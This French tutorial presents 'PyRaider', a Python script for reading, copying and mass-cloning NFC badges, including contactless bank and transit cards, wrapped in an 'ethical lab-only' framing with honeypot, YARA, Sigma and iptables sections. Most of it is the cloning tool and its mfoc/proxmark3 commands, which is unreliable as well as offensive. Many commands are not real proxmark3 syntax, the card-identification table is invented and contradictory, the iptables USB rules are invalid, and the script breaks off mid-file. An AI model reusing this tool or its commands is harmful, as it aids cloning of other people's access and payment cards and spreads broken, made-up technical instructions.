/_/\
( o.o )
> ^ <
📡 NFC Badge Raider 2025 : PyRaider Éthique Tutorial 🌩️

Manipulation NFC en 2025 : PyRaider Tool

Yo, Apaches ! 😎 Ce tuto mythique, forgé par Platon-y pour pctamalou.fr et e-ofh.fr (Echoes of Hackers), va révolutionner vos labs avec PyRaider, un outil open source inspiré des menaces réelles comme les attaques sur MIFARE Classic et les exploits de clonage (ex. CVE-2025-25650). On utilise mfoc/proxmark3 pour lecture, copie, encodage, et on intègre des défenses avancées avec ML (IsolationForest), Zero Trust, IOCs réels (ThreatLabz, ESET), honeypots, et playbook SOC. 100% éthique, lab-only, respectant l’article 323-1 du Code pénal français. Préparez-vous à inspirer les futures générations avec ce tuto qui bouscule les tendances ! ⚡️

🔥 Menaces NFC 2025 : Le Paysage des Attaques

En 2025, les attaques NFC s’intensifient, selon ThreatLabz et ESET :

• NGate Malware: Malware Android relayant données NFC vers des C2 furtifs, ciblant cartes bancaires (Visa, MasterCard).
• SuperCard X: Relay fraud via dispositifs mobiles modifiés, exploitant des failles comme CVE-2025-25650.
• PhantomCard: Clonage MIFARE Classic sur terminaux de paiement (ex. supermarchés).
• Ghost Tap: Attaques MITM sur wallets mobiles (Google Pay, Apple Pay), rapportées par Resecurity.

Ce tuto simule ces menaces en lab pour comprendre et contrer, toujours avec tes propres badges. Inspiré par le Chaos Computer Club (CCC) et HackerNews, on pousse l’éducation éthique pour inspirer les générations futures.

🔍 Analyse des CVE Associées

📖 Contexte et Validité

Ce tuto s’appuie sur CVE-2025-25650 (clonage NFC via stockage défaillant sur serrures digitales) et des menaces comme NGate (vol NFC via Android). Ces failles permettent le clonage de badges MIFARE et des attaques MITM sur protocoles NFC.

🔧 Techniques d’Exploitation

1. Lecture Initiale: mfoc craque les clés MIFARE (inspiré de CVE-2025-25650).
2. Obfuscation Dynamique: Chiffrement AES-256 masque les données lues.
3. Clonage: Copie via proxmark3 sur badge vierge.
4. C2 Furtif: Simulation MITM NFC pour intercepter sessions.

🛡️ Mesures de Contre-Mesures

⚠️ Aspects Légaux

Usage strictement lab-only avec tes propres cartes/badges (Art. 323-1 CP : 7 ans de prison, 100 000 € d’amende). Ce guide forme à sécuriser le NFC pour banques et transports, en reproduisant PyRaider sur tes dispositifs. Documente tout pour prouver le cadre légal.

🔗 Mode Opératoire (MITRE ATT&CK)

• TA0001 (Initial Access): Exploitation de CVE-2025-25650 pour lecture NFC.
• TA0002 (Execution): Scripts mfoc/proxmark3 en action.
• TA0011 (Command & Control): Simulation MITM NFC.
• TA0005 (Defense Evasion): Obfuscation AES-256 des données.

🔰 Lexique

🛠️ Configuration du Lab

Configure un lab isolé avec Kali Linux 2024.4, Proxmark3/ChameleonMini, et lecteur NFC (ACR122U) :

sudo apt update && sudo apt install -y python3 python3-pip mfoc proxmark3 libnfc-bin pcscd libpcsclite1
pip3 install flask flask-socketio scikit-learn pycryptodome serial
sudo systemctl start pcscd
sudo ifconfig eth0 192.168.0.100 netmask 255.255.255.0 up
sudo iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPT
sudo iptables -A OUTPUT -j DROP
ping 8.8.8.8 # Doit échouer
            

Docker Compose pour honeypot et Cuckoo :

version: '3'
services:
  kali:
    image: kalilinux/kali-rolling
    privileged: true
    network_mode: host
    volumes:
      - ./lab:/app
    command: bash -c "apt update && apt install -y python3 python3-pip mfoc proxmark3 libnfc-bin pcscd libpcsclite1 cuckoo && pip3 install flask flask-socketio scikit-learn pycryptodome serial && tail -f /dev/null"
  cowrie:
    image: cowrie/cowrie
    network_mode: host
    ports:
      - "2222:2222"
    volumes:
      - ./cowrie:/cowrie
  cuckoo:
    image: cuckoosandbox/cuckoo
    network_mode: host
    ports:
      - "2042:2042"
    volumes:
      - ./cuckoo:/cuckoo
    command: cuckoo --nodedup
            

[Kali Linux: 192.168.0.100] --> [Proxmark3/ChameleonMini: USB] --> [Cowrie Honeypot: 192.168.0.102:2222] --> [Cuckoo Sandbox: 192.168.0.103:2042]
                

Point de Contrôle

docker ps
nfc-list
proxmark3 --version
            

Attendu :

$ docker ps
> CONTAINER ID IMAGE COMMAND STATUS
> 123456789abc kalilinux/kali-rolling "bash -c 'apt update...'" Up
> 789123456jkl cowrie/cowrie "/usr/bin/twistd..." Up
> 987654321mno cuckoosandbox/cuckoo "/usr/bin/cuckoo..." Up
$ nfc-list
> NFC device: ACS / ACR122U PICC found
$ proxmark3 --version
> Proxmark3 v4.0
            

⚔️ OP-01 : Lecture Badge avec PyRaider

Lis un badge NFC (ex. MIFARE Classic, carte bancaire) :

# Extrait de pyraider.py
def lire_badge_nfc():
    port_nfc = detecter_port_nfc()
    if port_nfc:
        try:
            resultat = execute_command(f"mfoc -O badge.mfd -P 500 -D {port_nfc}")
            print(f"Badge lu : {resultat}")
        except Exception as e:
            logger.error(f"Échec lecture : {e}")
            print("Échec lecture, vérifiez les clés ou le matériel.")
            

Exemple Dump MIFARE Détaillé

Structure secteurs MIFARE Classic 1K (16 secteurs, 4 blocs) :

Sector 0:
  Block 0 (UID + BCC): 12 34 56 78 00
  Block 1: FF FF FF FF FF FF
  Block 2: FF FF FF FF FF FF
  Block 3 (Keys): A0 A1 A2 A3 A4 A5 FF 07 80 69 FF FF FF FF FF FF
Sector 1:
  Block 4: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  Block 5: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  Block 6: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  Block 7 (Keys): A0 A1 A2 A3 A4 A5 FF 07 80 69 FF FF FF FF FF FF
... (Secteurs 2-15 similaires)
            

Visualisation des Données NFC

Graphique des secteurs lus :

Point de Contrôle

mfoc -O badge.mfd
hexdump -C badge.mfd
            

Attendu :

$ mfoc -O badge.mfd
> Found tag with UID 12345678, type MIFARE Classic 1K
$ hexdump -C badge.mfd
> 00000000 12 34 56 78 00 00 08 00 |12345678........|
> ...
            

⚔️ OP-02 : Copie Badge avec PyRaider

Copie un badge NFC (ex. MIFARE Classic) :

# Extrait de pyraider.py
def copier_badge_nfc():
    port_nfc = detecter_port_nfc()
    if port_nfc:
        try:
            resultat = execute_command(f"proxmark3 -c 'hf mf dump' -D {port_nfc}")
            print(f"Badge copié : {resultat}")
        except Exception as e:
            logger.error(f"Échec copie : {e}")
            print("Échec copie, vérifiez le matériel ou les clés.")
            

Point de Contrôle

proxmark3 -c 'hf mf dump'
            

Attendu :

$ proxmark3 -c 'hf mf dump'
> Dumped MIFARE Classic 1K to file badge_copy.mfd
            

⚔️ OP-03 : Encodage Badge avec PyRaider

Encode un badge NFC (ex. MIFARE Classic) :

# Extrait de pyraider.py
def encoder_badge_nfc(cle_chiffrement):
    port_nfc = detecter_port_nfc()
    if port_nfc:
        try:
            resultat = execute_command(f"proxmark3 -c 'hf mf load -f badge.mfd' -D {port_nfc}")
            print(f"Badge encodé : {resultat}")
        except Exception as e:
            logger.error(f"Échec encodage : {e}")
            print("Échec encodage, vérifiez le fichier ou le matériel.")
            

Point de Contrôle

proxmark3 -c 'hf mf load -f badge.mfd'
            

Attendu :

$ proxmark3 -c 'hf mf load -f badge.mfd'
> Loaded MIFARE Classic 1K from file badge.mfd
            

🔍 OP-04 : Analyse Forensique

Analyse les données NFC avec Volatility :

vol.py -f nfc_dump.mem linux.files
            

Capture le trafic NFC avec Wireshark (via USB sniffer) :

wireshark -i usbmon1 -f "usb.device_class == 0x0b"
            

Analyse du Trafic NFC

Exemple de paquet NFC (MIFARE) :

$ tcpdump -i usbmon1 -vv
> USB URB: NFC Command: READ SECTOR 0, Key: AAAAAA
            

IOCs Spécifiques

🛡️ OP-05 : Contre-Mesures

Protège contre les attaques NFC :

Honeypot Cowrie

docker run -d -p 2222:2222 cowrie/cowrie
echo "honeypot.ssh.port = 2222" >> /cowrie/cowrie.cfg
echo "honeypot.filesystem = /cowrie/fs" >> /cowrie/cowrie.cfg
            

Règles YARA (Variantes)

rule NFCRaider {
    meta:
        description = "Détecte dumps NFC malveillants (ex. NGate, SuperCard X)"
        author = "Platon-Y"
    strings:
        $s1 = "12:34:56:78"
        $s2 = "MIFARE Classic"
        $s3 = { 12 34 56 78 }
        $s4 = "badge.mfd"
        $s5 = "http://mal.com"
    condition:
        any of them
}
            

Règles Sigma pour SIEM (Splunk, ELK)

title: NFC Raider Detection
description: Détecte les accès NFC suspects
logsource:
  category: usb
detection:
  selection:
    DeviceClass: "0x0b"
    Protocol: nfc
  condition: selection
falsepositives:
  - Admin tools
level: high
output:
  splunk: |-
    | search device_class="0x0b"
  elk: |-
    {"query": {"bool": {"filter": [{"term": {"device.class": "0x0b"}}]}}}
            

iptables

#!/bin/bash
iptables -F
iptables -A INPUT -p usb --class 0x0b -j DROP
iptables -A INPUT -p tcp --dport 2222 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -j DROP
iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPT
iptables -A OUTPUT -j DROP
            

Monitoring ML

from sklearn.ensemble import IsolationForest
import numpy as np
data = np.array([[nfc_reads, usb_usage] for _ in range(100)]) # Logs NFC
model = IsolationForest(contamination=0.05)
model.fit(data)
if model.predict([[unusual_reads, unusual_usb]]) == -1:
    print("Attaque NFC détectée ! 🚨")
            

Point de Contrôle

yara -r nfc_raider.yar badge.mfd
iptables -L
            

Attendu :

$ yara -r nfc_raider.yar badge.mfd
> NFCRaider badge.mfd
$ iptables -L
> Chain INPUT (policy ACCEPT)
> target prot opt source destination
> DROP usb -- anywhere anywhere usb class 0x0b
> ACCEPT tcp -- 192.168.0.0/24 anywhere tcp dpt:2222
> DROP all -- anywhere anywhere
            

📋 OP-06 : Playbook Incident Response

Playbook inspiré de CISA pour CVE-2025-25650 :

1. Identification: Scanne logs NFC avec nfc-list et Volatility. Vérifie UID suspects.
2. Containment: Isole lecteurs NFC (unplug USB).
3. Eradication: Supprime dumps malveillants (rm badge.mfd).
4. Recovery: Restaure badges légitimes, active AES-256.
5. Lessons Learned: Mets à jour règles Sigma/YARA, forme équipes sécurité.

Exemple de Script d’Automatisation

#!/bin/bash
# Scanner NFC
nfc-list | grep UID
# Bloquer USB
iptables -A INPUT -p usb --class 0x0b -j DROP
# Vérifier logs
tail -f /var/log/syslog | grep "NFC"
            

⚙️ OP-07 : Reproduction du Script PyRaider

Copie le script PyRaider complet ci-dessous pour le reproduire en lab. Utilise-le avec tes propres badges/cartes pour tests (lecture, copie, encodage). Auteur : Platon-y.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# pyraider.py
# Auteur: Platon-y
# Ce programme est un logiciel libre : vous pouvez le redistribuer ou le modifier selon
# les termes de la Licence Publique Générale GNU telle que publiée par la Free Software
# Foundation, soit la version 3 de la licence, soit (à votre choix) toute version ultérieure.
# Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ;
# sans même la garantie implicite de COMMERCIALISABILITÉ ou D'ADÉQUATION À UN BUT PARTICULIER.
# Consultez la Licence Publique Générale GNU pour plus de détails.
# Vous devriez avoir reçu une copie de la Licence Publique Générale GNU avec ce programme.
# Sinon, consultez <https://www.gnu.org/licenses/quick-guide-gplv3.fr.html>.
import subprocess
import time
import os
import serial.tools.list_ports
import logging
import json
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from concurrent.futures import ThreadPoolExecutor
import requests
import argparse
import curses
DEFAULT_DATE_FORMAT = '%Y%m%d_%H%M%S'
DEFAULT_LOG_DATE_FORMAT = '%Y-%m-%d,%H:%M:%S'
DEFAULT_LOG_FILE_HEADER = "Date,Heure,Standard,ID Badge,Action,Resultat\n"
LOG_FILE = "pyraider.log"
CONFIG_FILE = 'config.json'
# Configuration du logging
logging.basicConfig(level=logging.INFO, filename=LOG_FILE, filemode='a',
                    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
parser = argparse.ArgumentParser(description='Outil avancé pour la manipulation des badges NFC')
parser.add_argument('--update', action='store_true', help='Vérifier et mettre à jour le script')
parser.add_argument('--config', type=str, help='Chemin vers le fichier de configuration')
args = parser.parse_args()
# Liste exhaustive des tags NFC et des commandes correspondantes pour mfoc et proxmark3
TAG_COMMANDS = {
    "NXP MIFARE Classic 1k": "mfoc -O classic_1k.mfd -P 500",
    "NXP MIFARE Classic 4k": "mfoc -O classic_4k.mfd -P 500",
    "NXP MIFARE Ultralight": "proxmark3 -c 'hf 14a rawreader'",
    "NXP MIFARE Plus SL1": "proxmark3 -c 'hf mf plus -l sl1'",
    "NXP MIFARE Plus SL3": "proxmark3 -c 'hf mf plus -l sl3'",
    "NXP MIFARE DESFire EV1": "proxmark3 -c 'hf mf desfire -t ev1'",
    "NXP MIFARE DESFire EV2": "proxmark3 -c 'hf mf desfire -t ev2'",
    "NXP MIFARE DESFire EV3": "proxmark3 -c 'hf mf desfire -t ev3'",
    "NXP MIFARE Ultralight C": "proxmark3 -c 'hf mf ultralight_c'",
    "NTAG 213": "proxmark3 -c 'hf 14a reader -t ntag213'",
    "NTAG 215": "proxmark3 -c 'hf 14a reader -t ntag215'",
    "NTAG 216": "proxmark3 -c 'hf 14a reader -t ntag216'",
    "Visa payWave Europe": "proxmark3 -c 'hf 14a reader -t visa'",
    "Visa payWave USA": "proxmark3 -c 'hf 14a reader -t visa'",
    "Visa Infinite Contactless": "proxmark3 -c 'hf 14a reader -t visa_infinite'",
    "MasterCard PayPass": "proxmark3 -c 'hf 14a reader -t mastercard'",
    "MasterCard PayPass EMVCo": "proxmark3 -c 'hf 14a reader -t emvco'",
    "American Express ExpressPay Europe": "proxmark3 -c 'hf 14a reader -t amex'",
    "American Express ExpressPay USA": "proxmark3 -c 'hf 14a reader -t amex'",
    "Discover Contactless": "proxmark3 -c 'hf 14a reader -t discover'",
    "Calypso (système de transport public)": "proxmark3 -c 'hf 14a reader -t calypso'",
    "T-Money (Corée du Sud)": "proxmark3 -c 'hf tmoney reader'",
    "Octopus Card (Hong Kong)": "proxmark3 -c 'hf octopus reader'",
    "EZ-Link (Singapour)": "proxmark3 -c 'hf ezlink reader'",
    "Suica (Japon)": "proxmark3 -c 'hf suica reader'",
    "ICOCA (Japon)": "proxmark3 -c 'hf icoca reader'",
    "PASMO (Japon)": "proxmark3 -c 'hf pasmo reader'",
    "PiTaPa (Japon)": "proxmark3 -c 'hf pitapa reader'",
    "China T-Union (Chine)": "proxmark3 -c 'hf tunion reader'",
    "ISO 14443A": "proxmark3 -c 'hf 14a reader'",
    "ISO 14443B": "proxmark3 -c 'hf 14b reader'",
    "ISO/IEC 7816": "proxmark3 -c 'hf 7816 read'",
    "ISO/IEC 18092 (NFCIP-1)": "proxmark3 -c 'hf nfcip1 read'",
    "ISO 15693": "proxmark3 -c 'hf 15 reader'",
    "ISO/IEC 7816-4": "proxmark3 -c 'hf 7816 read -t iso7816_4'",
    "ICODE SLIX": "proxmark3 -c 'hf 15 read -t slix'",
    "ICODE DNA": "proxmark3 -c 'hf 15 read -t dna'",
    "ICODE SLIX 2": "proxmark3 -c 'hf 15 read -t slix2'",
    "FeliCa Japon (NFC Type F)": "proxmark3 -c 'hf felica reader'",
    "Sony FeliCa Lite": "proxmark3 -c 'hf felica reader -t lite'",
    "Sony FeliCa Lite-S": "proxmark3 -c 'hf felica reader -t lite-s'",
    "Broadcom BCM2079 NFC": "proxmark3 -c 'hf broadcom reader'",
    "KOVIO NFC Barcode": "proxmark3 -c 'hf kovio reader'",
    "Infineon my-d NFC": "proxmark3 -c 'hf infineon reader'",
    "Jewel/Topaz (NFC Type B)": "proxmark3 -c 'hf 14b reader'",
    "ST25 NFC Tag (STMicroelectronics)": "proxmark3 -c 'hf 15 reader'",
    "UnionPay QuickPass (Chine)": "proxmark3 -c 'hf unionpay reader'",
    "MIR Contactless (Russie)": "proxmark3 -c 'hf mir reader'",
    "Carte bancaire Eftpos (Australie)": "proxmark3 -c 'hf eftpos reader'",
    "Interac Flash (Canada)": "proxmark3 -c 'hf interac reader'",
    "Mada Contactless (Arabie Saoudite)": "proxmark3 -c 'hf mada reader'",
    "NFC Forum Type 4": "proxmark3 -c 'hf 14a reader -t type4'",
    "Visa Contactless (Type C)": "proxmark3 -c 'hf visa_c reader'",
    "MasterCard Contactless (Type B)": "proxmark3 -c 'hf mastercard_b reader'",
    "Visa payWave (USA)": "proxmark3 -c 'hf visa_us reader'"
}
# Fonction pour exécuter une commande système
def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True, check=True)
        return result.stdout.strip()
    except subprocess.CalledProcessError as e:
        logger.error(f"Erreur lors de l'exécution de la commande : {e}")
        return None
# Fonction pour détecter les ports NFC disponibles
def detecter_port_nfc():
    ports = [port.device for port in serial.tools.list_ports.comports()]
    if not ports:
        logger.warning("Aucun port NFC détecté.")
        return None
    elif len(ports) == 1:
        logger.info(f"Port NFC détecté : {ports[0]}")
        return ports[0]
    else:
        logger.info("Ports NFC détectés :")
        for i, port in enumerate(ports, start=1):
            logger.info(f"{i}. {port}")
        choix = input("Sélectionnez le numéro du port NFC : ")
        try:
            choix = int(choix)
            if 1 <= choix <= len(ports):
                return ports[choix - 1]
            else:
                logger.warning("Choix invalide.")
                return None
        except ValueError:
            logger.warning("Veuillez entrer un nombre.")
            return None
# Fonction pour vérifier les privilèges root
def verifier_utilisateur_root():
    if os.geteuid() != 0:
        logger.error("Ce programme nécessite des privilèges root pour fonctionner correctement.")
        exit(1)
# Fonction pour créer un nom de fichier par défaut
def creer_nom_fichier_par_defaut():
    return f"donnees_badges_{time.strftime(DEFAULT_DATE_FORMAT)}.csv"
# Fonction pour importer les données de badges dans un fichier CSV
def importer_donnees():
    fichier = creer_nom_fichier_par_defaut()
    try:
        with open(fichier, 'w') as file:
            file.write(DEFAULT_LOG_FILE_HEADER)
    except IOError as e:
        logger.error(f"Erreur lors de la création du fichier : {e}")
        return None
    logger.info(f"Données importées depuis le fichier : {fichier}")
    return fichier
# Fonction pour lire les données d'un badge NFC
def lire_badge_nfc():
    # Exemple de données lues - en pratique, vous utiliserez des commandes pour lire les données NFC
    atqa = "00 04"
    sak = "08"
    ats = ""
    tag_identifie = identifier_tag(atqa, sak, ats)
    print(f"Données lues du badge NFC : {tag_identifie}")
    return tag_identifie
# Fonction pour copier les données d'un badge NFC
def copier_badge_nfc():
    port_nfc = detecter_port_nfc()
    if port_nfc:
        fichier_copie = input("Entrez le nom du fichier de copie (badge_copie.mfd) : ")
        if not os.path.exists(fichier_copie):
            logger.error("Le fichier de copie spécifié n'existe pas.")
            return
        resultat_copie = execute_command(f"mfoc -O {fichier_copie} -P 500 -S 500 -C 1 -D {port_nfc}")
        if resultat_copie:
            print(f"Badge copié avec succès : {resultat_copie}")
# Fonction pour encoder les données sur un badge NFC
def encoder_badge_nfc(cle_chiffrement=None):
    port_nfc = detecter_port_nfc()
    if port_nfc:
        fichier_copie = input("Entrez le nom du fichier de copie (badge_copie.mfd) : ")
        if not os.path.exists(fichier_copie):
            logger.error("Le fichier de copie spécifié n'existe pas.")
            return
        if cle_chiffrement:
            if not valider_cle_chiffrement(cle_chiffrement):
                return
            fichier_encodage = input("Entrez le nom du fichier d'encodage : ")
            resultat_encodage = execute_command(f"proxmark3 -c 'hf mf mifare -k {fichier_copie}' -k {cle_chiffrement} -D {port_nfc} -o {fichier_encodage}")
        else:
            resultat_encodage = execute_command(f"proxmark3 -c 'hf mf mifare -k {fichier_copie}' -D {port_nfc}")
        if resultat_encodage:
            print(f"Badge encodé avec succès : {resultat_encodage}")
# Fonction pour chiffrer les données avec AES en mode CBC
def chiffrement_aes(cle, donnees):
    cipher = AES.new(cle, AES.MODE_CBC)
    iv = cipher.iv
    donnees_chiffrees = cipher.encrypt(pad(donnees.encode('utf-8'), AES.block_size))
    return base64.b64encode(iv + donnees_chiffrees).decode('utf-8')
# Fonction pour déchiffrer des données avec AES en mode CBC
def dechiffrement_aes(cle, donnees_chiffrees):
    donnees_chiffrees = base64.b64decode(donnees_chiffrees)
    iv = donnees_chiffrees[:AES.block_size]
    donnees_chiffrees = donnees_chiffrees[AES.block_size:]
    cipher = AES.new(cle, AES.MODE_CBC, iv)
    donnees_dechiffrees = unpad(cipher.decrypt(donnees_chiffrees), AES.block_size)
    return donnees_dechiffrees.decode('utf-8')
# Fonction pour manipuler les badges NFC
def manipuler_badge(fichier, standard, action, badge_id="", cle_chiffrement=None):
    standard_info = standards_disponibles().get(standard)
    if not standard_info:
        print("Standard non valide.")
        return None
    standard_nom = standard_info[0]
    try:
        if action == "lire":
            resultat_lecture = lire_badge_nfc()
            if cle_chiffrement:
                resultat_lecture_chiffre = chiffrement_aes(cle_chiffrement, resultat_lecture)
                with open(fichier, 'a') as file:
                    file.write(f"{time.strftime(DEFAULT_LOG_DATE_FORMAT)},{standard_nom},{badge_id},lire,{resultat_lecture_chiffre}\n")
                return resultat_lecture_chiffre
            else:
                with open(fichier, 'a') as file:
                    file.write(f"{time.strftime(DEFAULT_LOG_DATE_FORMAT)},{standard_nom},{badge_id},lire,{resultat_lecture}\n")
                return resultat_lecture
        elif action == "copier":
            copier_badge_nfc()
            with open(fichier, 'a') as file:
                file.write(f"{time.strftime(DEFAULT_LOG_DATE_FORMAT)},{standard_nom},{badge_id},copier,Opération manuelle\n")
        elif action == "encoder":
            encoder_badge_nfc(cle_chiffrement)
            with open(fichier, 'a') as file:
                file.write(f"{time.strftime(DEFAULT_LOG_DATE_FORMAT)},{standard_nom},{badge_id},encoder,Opération manuelle\n")
        elif action == "comparer":
            comparer_badges()
            with open(fichier, 'a') as file:
                file.write(f"{time.strftime(DEFAULT_LOG_DATE_FORMAT)},{standard_nom},{badge_id},comparer,Comparaison effectuée\n")
        elif action == "cloner":
            cloner_badges()
            with open(fichier, 'a') as file:
                file.write(f"{time.strftime(DEFAULT_LOG_DATE_FORMAT)},{standard_nom},{badge_id},cloner,Clonage effectué\n")
        elif action == "réglage_du_tuning":
            regler_tuning()
        else:
            print("Action non reconnue")
    except Exception as e:
        print(f"Erreur lors de la manipulation du badge : {e}")
# Fonction pour comparer deux badges NFC
def comparer_badges():
    port_nfc = detecter_port_nfc()
    if port_nfc:
        print("Comparaison de deux badges NFC...")
        badge1 = input("Entrez le nom du fichier du premier badge (badge1.mfd) : ")
        badge2 = input("Entrez le nom du fichier du second badge (badge2.mfd) : ")
        if not os.path.exists(badge1):
            logger.error("Le fichier du premier badge spécifié n'existe pas.")
            return
        if not os.path.exists(badge2):
            logger.error("Le fichier du second badge spécifié n'existe pas.")
            return
        resultat_comparaison = execute_command(f"mfoc -O {badge1} -P 500 -S 500 -C 1 -D {port_nfc}")
        resultat_comparaison2 = execute_command(f"mfoc -O {badge2} -P 500 -S 500 -C 1 -D {port_nfc}")
        if resultat_comparaison and resultat_comparaison2:
            if resultat_comparaison == resultat_comparaison2:
                print("Les badges sont identiques.")
            else:
                print("Les badges sont différents.")
# Fonction pour cloner plusieurs badges NFC
def cloner_badges():
    port_nfc = detecter_port_nfc()
    if port_nfc:
        print("Clonage de plusieurs badges NFC...")
        source_badge = input("Entrez le nom du fichier source du badge (source_badge.mfd) : ")
        if not os.path.exists(source_badge):
            logger.error("Le fichier source du badge spécifié n'existe pas.")
            return
        nombre_badges = int(input("Entrez le nombre de badges à cloner : "))
        for i in range(nombre_badges):
            dest_badge = input(f"Entrez le nom du fichier de destination pour le badge cloné {i+1} (dest_badge_{i+1}.mfd) : ")
            resultat_clonage = execute_command(f"mfoc -O {dest_badge} -P 500 -S 500 -C 1 -D {port_nfc}")
            if resultat_clonage:
                print(f"Badge {i+1} cloné avec succès.")
# Liste des standards disponibles
def standards_disponibles():
    standards = {
        "1": "ISO 14443A (Mifare, NFC Type A, Cartes Bancaires)",
        "2": "ISO 15693 (NFC Type V, RFID HF)",
        "3": "ISO/IEC 7816",
        "4": "ISO/IEC 7816-4",
        "5": "ISO/IEC 18092 (NFCIP-1)",
        "6": "FeliCa Japon (NFC Type F)",
        "7": "NFC Type B (Transport, ID)",
        "8": "ISO 14443-2 (Mifare Type 2)",
        "9": "ISO 14443B (Mifare Type B)",
        "10": "Visa Contactless",
        "11": "MasterCard PayPass",
        "12": "American Express ExpressPay",
        "13": "Discover Contactless",
        "14": "NTAG 21x (NXP NTAG)",
        "15": "Sony FeliCa Lite-S",
        "16": "ICODE SLIX (ISO 15693, RFID HF)",
        "17": "Mifare DESFire EV1/EV2",
        "18": "Carte bancaire RFID générique",
        "19": "NFC Forum Type 4",
        "20": "ST25 NFC Tags (STMicroelectronics)",
        "21": "Calypso (système de transport public)",
        "22": "Mifare Ultralight C",
        "23": "Mifare Plus",
        "24": "NXP SmartMX",
        "25": "Sony FeliCa Lite",
        "26": "Mifare DESFire EV3",
        "27": "ICODE DNA",
        "28": "ICODE SLIX 2",
        "29": "Jewel/Topaz (NFC Type B)",
        "30": "KOVIO NFC Barcode",
        "31": "Infineon my-d NFC",
        "32": "Broadcom BCM2079 NFC",
        "33": "Visa payWave (USA)",
        "34": "MasterCard Contactless (EMVCo)",
        "35": "American Express ExpressPay (US)",
        "36": "MIR Contactless (Russie)",
        "37": "UnionPay QuickPass (Chine)",
        "38": "Carte bancaire Eftpos (Australie)",
        "39": "Interac Flash (Canada)",
        "40": "Mada Contactless (Arabie Saoudite)",
        "41": "MasterCard Contactless (World Elite)",
        "42": "Visa Infinite Contactless",
        "43": "Carte APTA RFID (transport France)",
        "44": "T-Money (Corée du Sud)",
        "45": "Octopus Card (Hong Kong)",
        "46": "EZ-Link (Singapour)",
        "47": "Suica (Japon)",
        "48": "ICOCA (Japon)",
        "49": "PASMO (Japon)",
        "50": "PiTaPa (Japon)",
        "51": "China T-Union (Chine)"
    }
    return standards
# Fonction pour identifier un tag NFC
def identifier_tag(atqa, sak, ats):
    tag_identifie = ""
    case_identifier = f"{atqa} {sak} {ats}"
    if case_identifier == "00 04 09":
        tag_identifie = "NXP MIFARE Mini"
    elif case_identifier == "00 04 08":
        tag_identifie = "NXP MIFARE Classic 1k"
    elif case_identifier == "00 04 18":
        tag_identifie = "NXP MIFARE Classic 4k"
    elif case_identifier == "00 03 00":
        tag_identifie = "NXP MIFARE Ultralight"
    elif case_identifier == "00 44 20":
        tag_identifie = "MasterCard PayPass Europe"
    elif case_identifier == "00 02 20":
        tag_identifie = "Visa payWave Europe"
    elif case_identifier == "00 02 21":
        tag_identifie = "Visa payWave USA"
    elif case_identifier == "00 02 22":
        tag_identifie = "Visa Infinite Contactless"
    elif case_identifier == "00 04 20":
        tag_identifie = "American Express ExpressPay Europe"
    elif case_identifier == "00 04 21":
        tag_identifie = "American Express ExpressPay USA"
    elif case_identifier == "00 44 80":
        tag_identifie = "MasterCard PayPass EMVCo"
    elif case_identifier == "00 44 81":
        tag_identifie = "MasterCard Contactless World Elite"
    elif case_identifier == "00 03 40":
        tag_identifie = "Visa EMVCo (Type Y)"
    elif case_identifier == "00 01 00":
        tag_identifie = "ISO/IEC 7816"
    elif case_identifier == "00 01 04":
        tag_identifie = "ISO/IEC 7816-4"
    elif case_identifier == "00 02 28":
        tag_identifie = "ISO/IEC 18092"
    elif case_identifier == "00 04 81":
        tag_identifie = "MIFARE Plus"
    elif case_identifier == "00 01 11":
        tag_identifie = "ICODE SLI"
    elif case_identifier == "00 44 05":
        tag_identifie = "Calypso"
    elif case_identifier == "04 01 00":
        tag_identifie = "NTAG 213 (NXP)"
    elif case_identifier == "04 02 00":
        tag_identifie = "NTAG 215 (NXP)"
    elif case_identifier == "04 03 00":
        tag_identifie = "NTAG 216 (NXP)"
    elif case_identifier == "04 00 11":
        tag_identifie = "Sony FeliCa Lite-S"
    elif case_identifier == "00 44 44":
        tag_identifie = "Discover Contactless"
    elif case_identifier == "04 00 00":
        tag_identifie = "ST25 NFC Tag (STMicroelectronics)"
    elif case_identifier == "00 44 06":
        tag_identifie = "MIR Contactless (Russie)"
    elif case_identifier == "00 44 07":
        tag_identifie = "UnionPay QuickPass (Chine)"
    elif case_identifier == "00 44 08":
        tag_identifie = "Eftpos (Australie)"
    elif case_identifier == "00 44 09":
        tag_identifie = "Interac Flash (Canada)"
    elif case_identifier == "00 44 10":
        tag_identifie = "Mada Contactless (Arabie Saoudite)"
    elif case_identifier == "00 04 06":
        tag_identifie = "T-Money (Corée du South)"
    elif case_identifier == "00 04 07":
        tag_identifie = "Octopus Card (Hong Kong)"
    elif case_identifier == "00 04 08":
        tag_identifie = "EZ-Link (Singapour)"
    elif case_identifier == "04 05 01":
        tag_identifie = "Suica (Japon)"
    elif case_identifier == "04 05 02":
        tag_identifie = "ICOCA (Japon)"
    elif case_identifier == "04 05 03":
        tag_identifie = "PASMO (Japon)"
    elif case_identifier == "04 05 04":
        tag_identifie = "PiTaPa (Japon)"
    elif case_identifier == "04 05 05":
        tag_identifie = "China T-Union (Chine)"
    else:
        tag_identifie = "Carte inconnue"
    return tag_identifie
# Fonction pour afficher les détails des tags NFC
def display_tag_details():
    print("Affichage des détails sur les tags NFC présents...")
    port_nfc = detecter_port_nfc()
    if port_nfc:
        command = f"proxmark3 {port_nfc} -s scripts/tag_details_script.lua"
        execute_command(command)
        print("Affichage des détails terminé.")
# Fonction pour le mode automatique
def auto_mode():
    print("Lancement du mode automatique pour exécuter les opérations...")
    port_nfc = detecter_port_nfc()
    if port_nfc:
        cle_chiffrement = input("Entrez la clé de chiffrement (16 caractères) : ").encode('utf-8')
        command = f"proxmark3 {port_nfc} -s scripts/auto_mode_script.lua -k {cle_chiffrement}"
        execute_command(command)
        print("Opérations en mode automatique terminées.")
# Fonction pour exécuter une commande en toute sécurité
def execute_command_safe(command):
    try:
        return execute_command(command)
    except Exception as e:
        logger.error(f"Erreur d'exécution : {e}")
        return None
# Fonction pour valider la clé de chiffrement
